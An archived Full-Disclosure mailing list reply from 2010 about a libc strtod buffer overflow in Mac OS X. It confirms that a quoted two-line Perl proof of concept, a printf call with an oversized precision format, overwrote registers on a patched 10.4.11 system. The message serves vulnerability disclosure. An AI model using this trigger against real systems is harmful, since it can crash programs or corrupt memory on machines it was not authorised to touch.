Re: [Full-disclosure] MacOS X 10.5/10.6 libc/strtod(3) buffer overflow

From: Joshua Levitsky <jlevitsk_at_nospam>
Date: Tue Jan 12 2010 - 17:54:23 GMT
To: full-disclosure@lists.grok.org.uk

On Mon, Jan 11, 2010 at 12:26 PM, Maksymilian Arciemowicz < cxib@securityreason.com> wrote:

Could you check perl PoC ?
> It should overwrite esi and edi register
>
> esi=0x41414141
> edi=15
>
>

The perl PoC worked on 10.4.11 fully patched.

http://securityreason.com/achievement_securityalert/63

Example 0:
- --- chujwamwmuzg.pl ---
#!/usr/local/bin/perl
printf "%0.4194310f", 0x0.0x41414141;
- --- chujwamwmuzg.pl --- -- Joshua Levitsky, MCSE, CISSP http://www.jnuxhosting.net http://www.jnux.net http://blog.joshie.com/ [5957 F27C 9C71 E9A7 274A 0447 C9B9 75A4 9B41 D4D1]

_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/

This message: [ Message body ]
Next message: Joshua Levitsky: "[Full-disclosure] 133-54D Re: MacOS X 10.5/10.6 libc/strtod(3) buffer overflow"
Previous message: Valdis.Kletnieks_at_nospam: "Re: [Full-disclosure] XSS vulnerabilities in 34 millions flash files"
In reply to: Maksymilian Arciemowicz: "Re: [Full-disclosure] MacOS X 10.5/10.6 libc/strtod(3) buffer overflow"
Next in thread: Maksymilian Arciemowicz: "Re: [Full-disclosure] MacOS X 10.5/10.6 libc/strtod(3) buffer overflow"

Contemporary messages sorted: [ By Date ] [ By Thread ] [ By Subject ] [ By Author ]